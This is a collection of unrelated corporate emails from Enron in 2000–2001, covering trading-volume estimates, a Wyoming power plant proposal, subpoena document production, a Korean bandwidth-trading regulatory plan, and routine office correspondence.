---------------------- Forwarded by Darron C Giron/HOU/ECT on 12/22/2000 
09:16 AM ---------------------------

Anne Bike@ENRON
12/21/2000 03:35 PM
To: Dawn C Kenne/HOU/ECT@ECT
cc: Jeffrey C Gossett/HOU/ECT@ECT, Darron C Giron/HOU/ECT@ECT, Jennifer 
Bagwell/NA/Enron@ENRON 
Subject: Re: EPNG Keystone  

Dawn:  Thank you so much for all of your hard work in getting these physical 
products to bridge correctly.  You have saved us a tremendous amount of 
work.  I know that there were a ton of little details that went into getting 
these products done correctly.  Everything went smoothly, and the bridge 
worked the first time.  We really appreciate your efforts.  

Thanks

Dawn C Kenne@ECT
12/21/2000 11:02 AM
To: Anne Bike/Corp/Enron@Enron
cc:  

Subject: EPNG Keystone

FIXED...you will never have that problem again!!!!

Keep letting me know!

Dawn

Rick,

I've been thinking about this. I think 18 mos. for the average tenor of a trade is way too high. For John Arnold's book it would on a prospective basis be  more in line with 4 months. We would probably not make markets online on anything past 24 months for NYMEX gas and the vast majority of our trades are in the first three months. I think the same would probably be true for power, but I haven't spoken to those guys about it. 

For the NYMEX book gas I made the following assumptions:

Average tenor: 5 months

Average trades per day: 400

average volume per trade: 500,000 mmbtu

average px: $2.7/mmbtu

With 252 trading days you and up with a gross unadjusted notional of $136bn. This is simply 400*252*500,000*$2.7

You then have to adjust down for the expiration of trades during the year. If the average life was 6 months you could halve the number above, which would be conservative given our 4 month assumption.

That takes you down to $68.04bn ($136bn/2).

The next adjustment would be to factor in netting for counterparties. You are trying to estimate the net open interest per countperparty. I am working on those numbers as I write this. It stands to reason that the net number for NYMEX Gas deals would be less than $70bn. When you factor in other gas trades and power the number would rise and I will look at that.

As a basic method, does this start to get you to where you need to be ?

Andy

CALENDAR ENTRY:	INVITATION

Description:
	Do Not Delete - Repeat parent for Mike Bryant-out of office

Date:		1/17/2001
Time:		5:00 PM - 5:30 PM (Central Standard Time)

Meeting Dates:
	1/17/2001, 1/18/2001, 1/19/2001

Detailed Description:

What is your fax number?  I will send you the project summary.

From: 	Walton, Steve  
Sent:	Monday, October 22, 2001 10:24 AM
To:	Whitt, Mark; Kaufman, Paul; Calger, Christopher F.
Cc:	Tycholiz, Barry; Bump, Dan J.
Subject:	RE: Buffalo Power Company LLC - Gas Turbine Power Plant Project 

Mark,

	I am committed to a meeting in Seattle with the Western Governors and the FERC on November 1 and 2 respectively.  The next meeting of the Wyoming Energy Commission is on November 12-13 in Evanston and a meeting in Spokane on the 15th, leaving the 14th open.  I know that is beyond your two week window, but it would be the best time for me.  

Steve

From: 	Whitt, Mark  
Sent:	Friday, October 19, 2001 3:51 PM
To:	Walton, Steve; Kaufman, Paul; Calger, Christopher F.
Subject:	Buffalo Power Company LLC - Gas Turbine Power Plant Project 

ENA and Crestone (Northern Border's non-regulated affiliate) met with a group of developers and Joe Meyer, Secretary of State in Wyoming, who have proposed to build a 200 MW power plant (expandable to 500 MW) in the Powder River basin of Wyoming.  Their "angle" is that the existing utility, Powder River Electric Coop, cannot meet the demand for electricity and the necessary distribution infrastructure to maintain the pace of development in the Coal Bed Methane BOOM that is happening in the basin.  

As you may or may not know, Enron has been very involved in this Coal Bed Methane play since 1998.  ENA is the largest purchaser of 3rd party gas in the basin and Crestone is the largest non-producer gathering company in the basin.  Crestone has a gathering trunkline located near their proposed site.  The developers will be filing a petition to remove this area from the COOP's certificated territory in the next couple of weeks.

There are obviously regulatory issues revolving around their ability to gain access to this "retail" market and the project would not be economically feasible as a merchant plant in the wholesale market.  However, they seem to have some political backing.

These developers recognize that they need Enron's assistance in developing this project on three main fronts:

1.  Power Marketing and Project development
2.  Gas Supplies and Pipeline access
3.  Regulatory and Transmission expertise

Given the fact that Joe Meyer is the early favorite to be the next Wyoming Governor and we are trying to work well with the State of Wyoming, and we have a natural competitive advantage in this market from a gas supply and pipeline perspective, I would like to pursue this opportunity a little further.

Therefore, I am wondering if I could get a Sr. Commercial Power Representative and a Regulatory Representative (Steve Walton would be good since he will be on the Wyoming Energy Commission), to attend a meeting in Denver with myself and the Crestone representatives sometime in the next 2 weeks.

Please give me a call and I can elaborate on the opportunity or answer your questions.  I don't want to make this email a novel!

Thanks a lot.

303-575-6473

Mary,

I'm sending this on Kim's behalf since her Outlook is overloaded.  Please see attached schedules for Operations and OSS.  We have not reduced our expenses from Plan at this point.  With the reorganization, we are not comfortable reducing our costs until we have completed a thorough analysis.

If you have any questions, please call Kim or me.

Thanks,  Elaine

Elaine Concklin
Enron Transportation Services
Director Financial Planning
Operations Support Services
1400 Smith St.   Suite 3AC-3311
(713) 853-5521
Elaine.Concklin@Enron.com

IEP handed this out to the Legislature and the capitol press corps today'

Sue Mara
Enron Corp.
Tel: (415) 782-7802
Fax:(415) 782-7854

Daily blessing

Big Tom and Little Jim
http://www.daily-blessings.com/bless113.htm

Christmas Greetings
http://www.debsfunpages.com/christmas.htm

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Work From Home folks.  If you haven't checked it out yet...you should!!

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From: Martien Laan [mailto:m.k.laan@12move.nl]
Sent: Thursday, October 11, 2001 8:34 AM
To: Tom Prifti; Ake Axelsson; John Wixley; J?rgen Str?mberg; Michael Collins; Peter F. Wolter; Theo Van der Steenstraeten; Christoph Peltz; Linus Larsson; Richard Nilsson; Conner, Andrew R.; Dimitry, Dirk; Ellen Streckel; Ghislaine Bl?ry; Anders Westerholm
Subject: Sep 2001.xls

Europulp.
Attached the Europulp port statistics, showing the stocks of September 30th, 2001.
Best regards - Martien K. Laan

Enclosed is the updated contact list for the Peakers Project. This contact
list will be continually updated and redistributed as changes occur.

 <<E2 Investor List.xls>>

                James J. Heckler
  Global Energy & Project Finance
  (212) 325-5809
  CREDIT | FIRST
  SUISSE | BOSTON

This message is for the named person's use only.  It may contain
confidential, proprietary or legally privileged information.  No
confidentiality or privilege is waived or lost by any mistransmission.
If you receive this message in error, please immediately delete it and all
copies of it from your system, destroy any hard copies of it and notify the
sender.  You must not, directly or indirectly, use, disclose, distribute,
print, or copy any part of this message if you are not the intended
recipient. CREDIT SUISSE GROUP and each of its subsidiaries each reserve
the right to monitor all e-mail communications through its networks.  Any
views expressed in this message are those of the individual sender, except
where the message states otherwise and the sender is authorised to state
them to be the views of any such entity.
Unless otherwise stated, any pricing information given in this message is
indicative only, is subject to change and does not constitute an offer to
deal at any price quoted.
Any reference to the terms of executed transactions should be treated as
preliminary only and subject to our formal written confirmation.

 - E2 Investor List.xls

Below is the revised version of the Crude Oil Agreement, with changes from
the one you probably saw this morning.  Alan Aronowitz thought (and I
concur) that since we don't really have liquidated damages we should take
that language out of the last section.

I'll send the proposed Gas Agreement, marked from the Oil one, shortly.

----- Forwarded by John W. Rain/TKPC on 12/21/2000 02:59 PM -----

                    John W. Rain
                                         To:     Alan.Aronowitz@enron.com,
                    12/21/2000           Teresa.G.Bushman@enron.com, 
nora.dobin@enron.com,
                    12:32 PM             tim.proffitt@enron.com, Robert C. 
Shearer/TKPC@TKPC,
                                         Alan5529@email.msn.com, 
Nony.Flores@enron.com,
                                         Joan.Quick@enron.com
                                         cc:
                                         Subject:     Crude Oil Agreement

Attached is a revised document showing changes received from Teresa Bushman
and Joan Quick, as well as a special termination agreement agreed to with
the Banks in a conference call yesterday.  At Nora's instruction I am
sending a clean version of this document to the Banks and their counsel.

(See attached file: Oil Master Agreement Ver 6 from 5.doc)

John W. Rain
Thompson & Knight L.L.P.
1700 Pacific Ave.
Dallas, Texas 75201
Phone: 214.969.1644 (Dallas)
Phone: 713.653.8887 (Houston)
Fax:       214.880.3150

This email and any attachments to it may contain legally privileged
information or confidential information, which are not intended to be
disclosed.  If you are not the intended recipient of this email, please do
not read or print any attachments or forward or copy this email or any
attachments.  Instead, please permanently delete this email and any
attachments and notify the sender of his mistake.  Thank you very much.

 - Oil Master Agreement Ver 6 from 5.doc

From: ntops@insync.net [mailto:ntops@insync.net]
Sent: Monday, October 22, 2001 8:16 AM
To: jennsreit@houston.rr.com
Subject: Data posted to form 1 of
http://www.berean-houston.org/Judge_House/Individual.htm

****************************************************************************
***
Name:        Willie & Mildred Hill
Number:      2
Dates:       Oct. 28
Time:        7:00
Phone:       7136744256
Email:       none
Remote Name: 65.66.221.218
Remote User:

Address:

Galena Park

Comments:

Willie asked me to make his reservation for him.
Willie and Mildred will be working as counselors and want to go through JH
one of the first tours if possible.

I think Lima would make a great bobble head.  You better get there early.

I received an email from Alfons telling me he was resigning from Technip.  
I'm clueless why he sent it to me.  Talked to Gerry last week.  He says he is 
going to put his Kingwood house on the market.  Hmm.  I hear lots of the old 
gang is working with him now.

Have you gone to your reunion yet?  How was it?

Gotta go home but I didn't want to not write back today.  Hope you find all 
your Easter eggs.

Kay

ANDREA DOWLEN <nene77057@yahoo.com> on 04/11/2001 02:00:48 PM
To: Kay Mann <Kay.Mann@enron.com>
cc:  

Subject: Bobble Head

Kay - 
How have I gone all this time without this give -away?
Sunday May 20, 2001 - Larry Dierker Bobble Head
(Williams)  
I have to have one for the back of my car!

A friend of my Dad's gave him dice to hang on the rear
view mirror of his new 2001 Cadillac.  And he hung
them.  Kevin says some cable guys cracked up next to
them at a ligth on San Felipe yesterday.
How have you been?  How is your Dad?
Andrea

=====
Andrea Dowlen

Get email at your own domain with Yahoo! Mail. 
http://personal.mail.yahoo.com/

Thanks for hosting, Kim.  Jackie mentioned the list of tasks that remain to
get this done (e.g., graphs, make spreadsheet pretty, write-up, etc.).
I'lll do whatever needs to be done, so once folks have picked which task
they'd like to take on, just let me know what's left.  Or if there's
another way folks would like to divvy up the chores, that's great, too.
Have a great weekend.  See you Monday.

Jackie, could you email the latest version around when you get a chance?
Thanks.

Best,
Jeff

	We are continuing to identify and review potentially responsive
documents within California called for by the subpoena issued by Dunn's
Committee to Enron Corp and by the California AG's subpoenas to Enron Energy
Services. Peter Meringolo and Amanda Smith are leading this effort at our
office. This is our report on the status of this document identification and
our plans, subject to your direction,  to continue this effort next week.
The last section of the memo poses certain logistical questions and issues
regarding the production to  Dunn's Committee that Mike Kirby should
address as soon as possible.
I. Status of EES' Response to Subpoena from AG
As we previously reported, we have completed a preliminary investigation of
documents in the EES's offices in California which are responsive to the
subpoena from the attorney general.  Below is a report of (1) documents
collected (2) documents we need to collect soon; and (3) action items which
we still need to do in order to identify responsive documents.
		A.	Documents Collected
We have copies of the following documents:
*	Contracts from the San Ramon office
*	Contracts and documents relating to the contracts from Costa Mesa
office
		B.	Documents to Collect
We previously identified the following relevant documents.  However, we have
not yet collected them into one central location:
*	Documents related to the returning customers to the Utilities.
These documents are on Mojgan Ahad's hard drive in files labeled "California
Rapid Response" and "California Strike Force" and email.
*	"Golden Bear" documents in San Ramon, Costa Mesa and Long Beach
*	Files related to status of EDI's (re: return of customers to PG&E).
Presently kept by Summer Intern, Kerri Bernstein.
*	Documents "related to" each contract in the possession of each
account manager in San Ramon
*	Current and Old Organization charts
		C.	Action Items
To complete our review of the relevant documents in California, we plan to
do the following:
*	Review emails and hard drives of Tom Riley, Dirk van Ulden, Mojgan
Ahad, and Jim Wright
*	Interview, and review documents in the possession of, "Originators"
in Long Beach

II. Status of Enron Corporation's Response to Subpoena from Senator Dunn
We are prepared to produce more than 30,000 pages of documents to the
Sacramento repository on Monday in response to the subpoena from Senator
Dunn.  This memorandum sets forth the remaining issues to be resolved before
Enron's production of documents in California is complete.
This memorandum is divided into three sections:  (1) substantive issues to
be resolved; (2) documents remaining to be reviewed, and (3) logistical
issues to be addressed by Mike Kirby.
		A.	Substantive Issues
We have prepared and sent to Mike Kirby and Richard Sanders and others a
packet of documents which we need to discuss as soon as possible.  We need
guidance about whether we ought to produce these types of documents.  These
documents include:
*	Bids made to DWR & ISO.  The subpoena calls for bids made to the ISO
and PX, and we assume that this means "bid data."  However, Enron did submit
bids to provide for Summer Reliability Generation and to provide energy to
the DWR.  Should we produce these documents?
*	Enron Business Plans.  These documents talk in general terms about
strategies for developing revenue in California - not necessarily forecasts
of revenue.  These documents fall on the fringe of what has been asked for
by the subpoena.  Siting/ Generation Development documents.  This is a broad
category of documents which are irrelevant to the Senate investigation.
However, if the subpoena is broadly (and perhaps fairly) read, many
documents within this category may be responsive.  Our suggestion is to
carve out these documents, and let the Senate Committee know that we are
doing so.  For example:
		.Dunn asks for information about generation units owned or
controlled by Enron.  We found documents in which Enron "controlled" the
development of the unit, but then sold it to a third party.  Likewise, Enron
is involved in a project to expand Las Vegas Co-Gen facility.
		.Many of these documents contain financial data, such as
supply and demand curves and pricing data in order to analyze whether to go
forward with the project.
		.We have numerous proposal and drafts, but not finalized
deals, in which negotiated to act as scheduling coordinators or to buy the
energy from the facility.  These drafts are not called for by the subpoena,
but documents related to final contracts are.
		.We have gathered documents related to negotiations with QFs
to serve as Scheduling Coordinators, which apparently coincide with
divestiture by the utilities.
*	Documents related to meetings of the Independent Energy Producers
("IEP") trade association.  These documents clearly are responsive.  Many,
however, contain sensitive and privilege information, including information
about lobbying efforts.  Thus, we need to provide notice to the IEP that we
are required to produce these documents and give them an opportunity to
review these documents before we produce them.  Additionally, we should
contact their counsel to see what, if anything, has already been produced (I
assume that they have been subpoenaed).
*	B.	Enron Corp Documents in San Francisco yet to be Reviewed
We have almost completed our review of potentially responsive materials
maintained in the San Francisco office.  We will complete this review next
week, and produce any additional documents to the repository.  The following
is a list of the remaining materials to be reviewed:
*	Electronic documents on Sue Mara's hard drive
*	Email messages maintained by Dave Parquet, Mike McDonald, and Sue
Mara
*	Interview Mike McDonald
*	Review addition materials relating to QF's recently located by
Enron.
*	C. Logistical Issues and Questions for Mike Kirby
*	Delivering boxes to Sacramento repository
We need someone to drive the boxes to Sacramento and obtain a key for the
repository space.  Bob Webb, a senior paralegal, has "volunteered" if we
need him to go.
*	Staffing the Sacramento repository
 We assume that we will need a proctor when the Senate Committee reviews the
documents.   Can we work out a schedule or protocol with them?  Moreover, we
will need to have someone drive to Sacramento each time we produce
documents.  We cannot simply federal express or messenger the documents
because there is no one to receive them.
*	Confidential Stamping
We have not marked anything "Confidential."  Should we do that now, or
should we wait until the Senate selects documents for copying?
*	Privilege Log
We will begin creating a privilege log next week.  When do we need to have
it completed?

=======================================================
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I have a call into the compliance officer who supposedly sent the docs.

*At the request of Michael Schneider I have attached a .zip file containing 
the
documentation we require in order for Enron NA Corp to open listed options
accounts with JP Morgan Securities Inc.  Please review the instructions,
complete the necessary docs and feel free to contact me with any questions
(212/648-4315).

Exchange Traded Options Account Agreement and related documentation is 
attached
below.  In addition to signing the Agreement, you should make sure to read all
disclosure statements as well as sign and date the Options New Account Form.
Also, you should note that in order to have the authority to transfer funds
between or among any accounts which may exist in other areas of J.P. Morgan 
you
must actively acknowledge the "Authorization to Transfer Funds" form attached.
Further, just as with the JPMFI account, we're going to need you to completely
fill out the JPMSI Letter In Lieu attached.
(See attached file: Enron NA Corp OCC Documents.ZIP)
Again, if you have any questions please phone me.

Regards,
Tom Alterson

Sara.Shackleton@enron.com on 04/19/2001 11:43:31 AM

To:   alterson_thomas@jpmorgan.com
cc:
Subject:  Re: **Futures Agreement**

Tom:
Thanks for the info.  I did not receive anything from you yesterday (Wed.,
April18).  Please update.  Thanks.

1400 Smith Street, EB 3801a
713-853-5620 (phone)
713-646-3490 (fax)
sara.shackleton@enron.com

                    "Thomas P Alterson"
                    <alterson_thomas@jpm        To:
Sara.Shackleton@enron.com
                    organ.com>                  cc:
                                                Subject:     **Futures
Agreement**
                    04/18/2001 10:53 AM

Sara:

I have tried to fax you the cover and signature page from our Client
Agreement 3
times now and the fax is not going through.  I am sending to fax #
713-646-3490.
Please advise if there is another number I cna fax this too.

In addition, I have been instructed by our compliance people to send you
back
the original copies of the Client Agreement so that a duly authorized
representative of Enron can sign off on Section 24.(b).  The Agreement has
been
sent to you.  Please have the correct boxes checked, initialed and then
sent
back to us for execution by JPMFI.  We will turn them around in one day.

Attached below is a copy of the cover and sig page (fax copy) in .pdf
format.

(See attached file: Enron cov+sig.pdf)

If you have any questions please call me at 212-646-4315.

Thank you,

 - Enron cov+sig.pdf
 - Enron NA Corp OCC Documents.ZIP

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////////____

Attached are the six ENA estimates requested. Due to the number and size of 
the data files, I'll have to send it in two E:mails. Call me at (337) 
593-3215 if you have any questions.

We have decided to postpone the All-Employee Meeting, which was scheduled at 
10 a.m. Wednesday, August 9, and concentrate our efforts on a successful kick 
off of our 2000 Houston United Way campaign.  This year's United Way gameshow 
event, "Who Wants to Help Millions?", will run, as previously announced, from 
11:15 a.m. to noon in the Hyatt Regency's Imperial Ballroom, followed by 
lunch in Antioch Park from noon to 1:30 p.m.  We encourage all employees in 
Houston to attend this fun event and cheer your business unit representatives 
on to victory and to helping others in the community.

We will communicate the new date of the All-Employee Meeting as soon as it 
has been determined. 

fyi, more on David Merrill's work product, as well as being a regulatory 
issue of interest.   mcs
---------------------- Forwarded by Mark Schroeder/LON/ECT on 05/11/2000 
11:17 ---------------------------

David Merrill@ENRON_DEVELOPMENT
04/11/2000 12:02
To: Robbi Rossi@EES, Michelle Hicks@Enron Communications, 
<donald_lassere@enron.net>, Anthony Duenner@ENRON COMMUNICATIONS, 
<bill_white@enron.net>
cc: Wayne Gardner/Enron Communications@Enron Communications, Mark 
Schroeder@ECT, <xi_xi@enron.net>, <roger_estrada@enron.net>, Jae-Moo 
Lee@ENRON, Craig Clark@Enron Communications, Stephen D 
Burns/Corp/Enron@ENRON, Mike Dahlke/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Subject: Korea: Regulatory Impediment to Bandwidth Trading / Action Plan

Our regulatory review team in Korea this week has identified a major 
regulatory 
 impediment to bandwidth trading in Korea.   This describes the problem and 
 outlines a draft strategy to deal with it, with actions shown in blue. 

Problem:  

It appears that under the Telecommunications Business Law (as interpreted by 
the 
Korea Communications Commission in a recent ruling against MCI), a Specific 
Services
Provider Type 1 (which we want to be) cannot resell International Private 
Leased Circuits
wholesale.   Only a Facilities Based provider (Network Services Provider) can 
do resale of 
International Leased Lines under the current law.  We do not want to be a 
Network Services Provider because an NSP can not exceed 49% foreign ownership 
and has immense responsibilities. 

Factual Background:

We want to be a specific services provider Type 1 (reseller with facilities 
such 
as servers and switches).  Under the law as interpreted in the recent ruling, 
however, SSPs:

    -  can buy or lease international lines only from NSPs.   
    -  cannot sell International Private Leased Circuits to other SSPs, 
         to Value-Added Service Providers (VSPs), or to ISPs.  
    -  can sell international capacity only to end users, not to other 
wholesalers. 

The recent ruling came about when MCI (not a Network Service Provider) leased 
international lines from an NSP in Korea and resold them to Goldman Sachs for 
traffic
to Hong Kong.    Korea Telecom brought  a case against MCI to the Korea 
Communications
Council (KCC) for decision.   Kim and Chang, our Enron energy lawyers in 
Korea, handled
the case (they did not disclose to us that MCI was the client).  

The KCC ruled  for KT and against MCI.   I'm not sure yet why Goldman Sachs 
was 
treated as a wholesaler and not an end user which should have been legal.  At 
this point, however,
the situation is that if a foreign company tried to resell IPLCs wholesale, 
any local NSP could bring a 
complaint to the KCC,  and would run the regulatory risk of being forced to 
cease. 
(The sources for this conclusion are Kim and Chang, the Ministry of Info and 
Communications,
and the Korea Information Society Institute, a telecom policy think tank for 
the Ministry.)

Options: 

(1)  Change the law.   A revision of the law is drafted but does not fix this 
and changes
      are closed for this year.  Amendments on the floor of Parliament are 
impossible in Korea.
      For a change in law, we would have to try in summer 2001 to get a 
change in early 2002.    
      Change by Presidential Decree is also possible but is overkill.   Not 
feasible.

(2)  Get a new interpretation from the Korea Communications Council that says 
what we 
       plan to do in Korea in bandwidth is OK.   

             We would ask Kim and Chang to present our proposed plans to the 
KCC 
             before we enter the bandwidth trading (BWT) market.  We would 
describe
             it in a way that is sufficiently different from the MCI case.   
Jae Moo made 
             this suggestion. 
 
              Pro:  If we get a favorable ruling we are in business.  We do 
not have money
                      at risk unless the regulatory road is clear.  

              Con:  an unfavorable ruling slams the door specifically on us.

              Recommended Steps:               

                    (1)   We should explore this option with Kim and Chang.  
                 
                    Robbi or Michelle:  if you agree, please contact Kim and 
Chang to discuss this
                    and authorize start of this work if they agree with this 
approach.   I will work with 
                    you to develop the scope of work and can operate with Kim 
and Chang during the
                    work as necessary. 

                    (2)  We will contact MCI to get more facts on their case 
including whether
                    they were selling to a wholesaler who sold to Goldman or 
directly to Goldman.
                    We can say the Ministry mentioned their case.  We should 
probably not be thinking
                    about joint action with MCI at this point as we want to 
say our case is different if we 
                    can.   I will explore facts with an MCI contact in Tokyo 
and Craig will do same
                    in Singapore.
               
(3)  Redefine where a sale of IPLCs takes place to have it not be in Korea.  
Would
      need legal/commercial creative analysis.   Possible but uncertain 
option.  

(4)  Redefine the product so as not to be a re-sale:   If we buy capacity and 
chop it up
      into smaller pieces or alter it before we sell it, maybe we are not 
re-selling what we 
      bought.  But we may still have a problem if the new product is sold to 
wholesalers.

               Let's explore 3 and 4 above and similar ideas in a conference 
call.
               Robbi, can you set up a call on this with me, Donald, 
you/Michelle,
               Wayne Gardner, Craig Clark, Roger Estrada, Xi Xi ?
           
(5)  Partner/j-v with a local firm already having the NSP status such as KT,
      SK Telecom, Dacom, etc., or become an NSP.  49% foreign ownership 
restirction.  
      Huge regulatory filing.    Not feasible. 

Parallel Actions:

(1 ) Take issue up with US Trade Representative (telecom) in DC (Jonathan 
McHale).
      Also work with local Amcham telecom committee and US Embassy.
      
               We should do this in parallel with whatever option we choose.  
I will work on this
               with Steve Burns in DC when we are farther along.  

 (2) Work to  promote understanding of the merits of BWT for Korea/elsewhere.

               BWT was never contemplated in the laws and regulations. All our
               contacts said BWT needed to be explained more widely in Korea 
to gain
               support.   It is new even to the telecom think tanks.   We 
need to do
               missionary work on this to develop public opinion.   We need 
to find 
               a noted PhD economist who is a great communicator who can 
speak to the 
               think tanks in Korea, Singapore, Japan, etc. and give 
interviews on 
               the merits of BWT for efficiency, promoting investment, etc.  
This will
               create the climate for regulators to change.  I have one 
possibility in mind
               but suggestions of names welcome.  I will propose this 
separately to 
               Anthony later.

David 

----- Forwarded by Richard B Sanders/HOU/ECT on 10/06/2000 05:04 PM -----

	"Fergus, Gary S." <GFergus@brobeck.com>
	10/06/2000 04:58 PM
		 
		 To: "'Richard.B.Sanders@enron.com'" <Richard.B.Sanders@enron.com>, 
"'msmith1@enron.com'" <msmith1@enron.com>, "'David_Aamodt@pgn.com'" 
<David_Aamodt@pgn.com>, "'MBD'" <MDay@GMSSR.com>
		 cc: 
		 Subject: FW: Enron Proposals Regarding Document Subpoenas

Here is your copy of the final version sent to the Commission.
Thanks
Gary

> From: Fergus, Gary S.
> Sent: Friday, October 06, 2000 2:57 PM
> To: 'hym@cpuc.ca.gov'
> Cc: 'MBD'
> Subject: Enron Proposals Regarding Document Subpoenas
> Importance: High
>
> Harvey Morris Esq.
> California Public Utilities Commission
> 505 Public Utilities Commission
> San Francisco, California   94102
>
>  Re:   I.00-08-002  Subpoenas Served on Enron Power Marketing, Inc.
> ("EPMI"), Enron Energy Services Operations Inc. and Enron Energy Services
> Inc. (collectively referred to as "EES"), Enron Energy Marketing
> Corporation ("EEMC"), and Portland General Electric Corporation ("Portland
> General")(collectively sometimes referred to as the "Enron Entities")
>
> Harvey,
>
>  Here are our proposals with respect to the Enron Entities'
> production of documents pursuant to the above described subpoenas issued
> by the California Public Utility Commission (hereinafter "the
> Commission").  The Enron Entities are willing to assist the Commission in
> undertaking its investigation into the problems in the California electric
> markets by producing the information specified on a timely basis.  We
> believe that the production we propose will enable the Commission to
> commence its investigation much sooner than if the parties were forced to
> litigate all of the potential objections to the requests for production,
> which are, by any standard, extremely broad and could involve millions of
> pages of documents.  We make these proposals pursuant to our email
> exchange of October 3, 2000 with the understanding that the Commission
> agrees that by cooperating, offering to produce or producing documents,
> the Enron Entities have not waived any objections or challenges to these
> subpoenas whatsoever and that any claims, defenses, objections,
> jurisdictional or otherwise or other responses have been specifically
> reserved and can be raised in the future, if necessary.   For all of these
> proposals, we exclude documents that are protected from disclosure by the
> attorney client and attorney work product privileges.
>
>  Generally speaking, the Enron Entities propose to produce documents
> for year 2000 as noted below.  We also understand that the Commission will
> be obtaining documents from the ISO and PX and we will not attempt here to
> duplicate documents that we understand will be produced by those entities.
> As you will see in the general documents that are offered here for
> production, Enron Energy Services Operations, Inc. is the parent of Enron
> Energy Services, Inc. and does not have operating authority or engage in
> wholesale or retail purchases or sales of energy.  Thus, the documents
> offered here with respect to those two entities originates with Enron
> Energy Services, Inc. but we have designated them both as EES.  We also do
> not propose to offer duplicative documents as between the Enron Entities.
>
> GENERAL DOCUMENTS
> Requests 1 through 4
>
>  Because of the dynamic nature of the Enron Entities' businesses, the
> burden and expense on them to locate, and produce every corporate
> organizational chart anywhere in their organizations since April 1, 1998
> is significant.   The Enron Entities will provide the Commission with
> exemplars of their current organizational charts, telephone directories
> and so called "family trees" to show its current organization.  To the
> extent that the Enron Entities can readily identify and locate exemplars
> of significant organizational charts, telephone directories or so called
> "family trees" for earlier periods they will also make those available.
> One Enron Entity, Portland General, has published books on its corporate
> history.  If a list of those books would be helpful, we can provide it.
> With respect to the other Enron Entities, to the extent that corporate
> histories can be found, they will be produced.  We anticipate producing
> these documents in the first wave on October 13, 2000.
>
> Requests 5 and 6
>
>  The Enron Entities propose that their responses to Requests 1-4 will
> identify their relationship to affiliated companies and the Transaction
> Documents will identify its customers and suppliers.  We believe this
> information will be sufficient to illustrate these relationships for the
> staff's purposes.
>
> FINANCIAL DOCUMENTS
> Requests 7 through 11
>
>  The Enron Entities will produce their public filings for the period
> requested with respect to financial data.  EPMI, EES, and Portland General
> will provide to the Commission electronic transaction data ( the
> "Transaction Documents") for the purchase and sale of energy delivered
> which information includes economic data.   We anticipate producing public
> filings regarding financial data on October 13, 2000 and the electronic
> Transaction Documents in the second wave of document productions.
>
> GENERATING DOCUMENTS
> Requests 12, 14 and 18
>
>  For the Enron Entities other than Portland General, the generation
> facilities are either non-existent or limited in number and there will
> probably be limited documents available.  The Enron Entities to the extent
> they act as a scheduling coordinator or possessed the right to use or
> resell generation output, do not have the specific documents that pertain
> to each generation unit requested.  The Enron Entities, other than
> Portland General, do have documents and information for Las Vegas
> Cogeneration.  We propose to produce these documents in the second wave of
> document productions.
>
>   For Portland General, the production of the requested documents
> would involve a tremendous volume of documents, as Portland General owned
> twenty generating facilities of a variety of types and sizes during 2000.
> Portland General is a net importer of energy and can only generate about
> one half of its total energy demand.  As a result, we question whether the
> effort required of Portland General is warranted as its impact on the
> California wholesale market is necessarily limited.  Nevertheless,
> Portland General proposes to provide for year 2000 electronic Transaction
> Documents in summary form similar to the data being provided by other
> Enron Entities, to the extent relevant as discussed below.  We propose
> that the Commission defer requesting production of other information until
> it has reviewed the information of generators who sell a significant
> proportion of their energy into the California market.  At that time a
> more accurate assessment can be made of whether this enormous effort will
> be valuable given the limited impact of Portland General generation on the
> California wholesale market.
>
> TRANSACTION DOCUMENTS
> Requests 13, 15, 16, 17 and 19
>
>  We understand that the Commission will be obtaining trading data for
> the purchase and sale of energy delivered in California from the ISO and
> PX.  EPMI can provide the Commission several different sets of relevant
> transaction data for year 2000 (in California and outside of California
> and Real Time) for the purchase and sale of energy delivered with the
> date, counterparty, quantity, delivery point, hours, price, and whether it
> is a purchase or a sale.   Because of the speed with which you want this
> information, it is possible that some entries will be incomplete or
> inaccurate.  For those
> transactions where EPMI served only as the scheduling coordinator, we
> understand that the ISO will show part of the transaction, but there will
> not be a corresponding transaction in the EPMI data we can provide
> quickly.  The reason is that this type of transaction is passed through to
> EPMI's customer on an accounting system rather than as part of the trading
> business.  EES can also provide similar data with respect to relevant
> wholesale and retail transactions with the proviso that with respect to
> retail transactions it will not include the specific names of its retail
> customers but instead will provide a blind customer number due to EES'
> confidentiality obligations to those customers.  We anticipate producing
> the Transaction Documents in the second wave of document productions.
>
> FERC DOCUMENTS
>
> Request 20
>
>  The Enron Entities will produce the requests for data they received
> from FERC and to the extent that FERC has been given responses, copies of
> those responses.  We anticipate producing the FERC documents on October
> 13, 2000.
>
>
>  Based upon discussions that we have had with the various Enron
> Entities, we believe that we could make a second wave of productions on
> Friday October 27, 2000.  It is possible that not all Enron Entities could
> make that date but we believe the bulk of the data could be available for
> production by then.
>
>  We propose to make these productions with the understanding that if
> any entity obtains a more stringent protective order than the one
> currently in place, that all of the Enron Entities document productions
> will be protected by the most stringent protective order.  In addition,
> if, at the request of any party or nonparty to this proceeding, the
> Commission or a court of competent jurisdiction orders that the requests
> for production be limited, reduced or eliminated, the Enron Entities
> reserve the right to limit the production of documents in conformance with
> such order.
>
>  We understand that you will consider these proposals and let us know
> if they are acceptable to the Commission.  If you have any questions or
> comments about our proposal, please do not hesitate to contact Michael Day
> or myself.
>
> Brobeck Phleger & Harrison LLP
>
> Gary Fergus
>
>
>
>
>

This email message is for the sole use of the intended recipient(s) and may 
contain confidential and privileged information. Any unauthorized review, 
use, disclosure or distribution is prohibited. If you are not the intended 
recipient, please contact the sender by reply email and destroy all copies of 
the original message.

To reply to our email administrator directly, send an email to 
postmaster@brobeck.com

Bob, please give me an update on our progress on this item and the viability 
of the technology.

Regards
Delainey

I thought she was asking about EIS charges?

From: 	Carpenter, Nancy  
Sent:	Monday, November 05, 2001 10:26 AM
To:	'elaine.conklin@enron.com'
Cc:	Geaccone, Tracy; Barnes, Caroline
Subject:	EPSC charges to cost centers

Elaine,
I spoke with Pam Daily;  she said that due to all the recent moves & changes, it would probably be December before rent charges hit the cost centers directly, and that there would not be any 2001 true-ups.
Hope this answers your question.
Thanks, 
Nancy

Attached are documents that Gerald Nemec requested that I send to you.

---------------------- Forwarded by Ami Chokshi/Corp/Enron on 02/07/2000 
04:48 PM ---------------------------

royal_b_edmondson@reliantenergy.com on 02/07/2000 04:45:52 PM
To: ami_Chokshi@enron.com
cc:  

Subject: 

(See attached file: egmnom-Feb.xls)

 - egmnom-Feb.xls

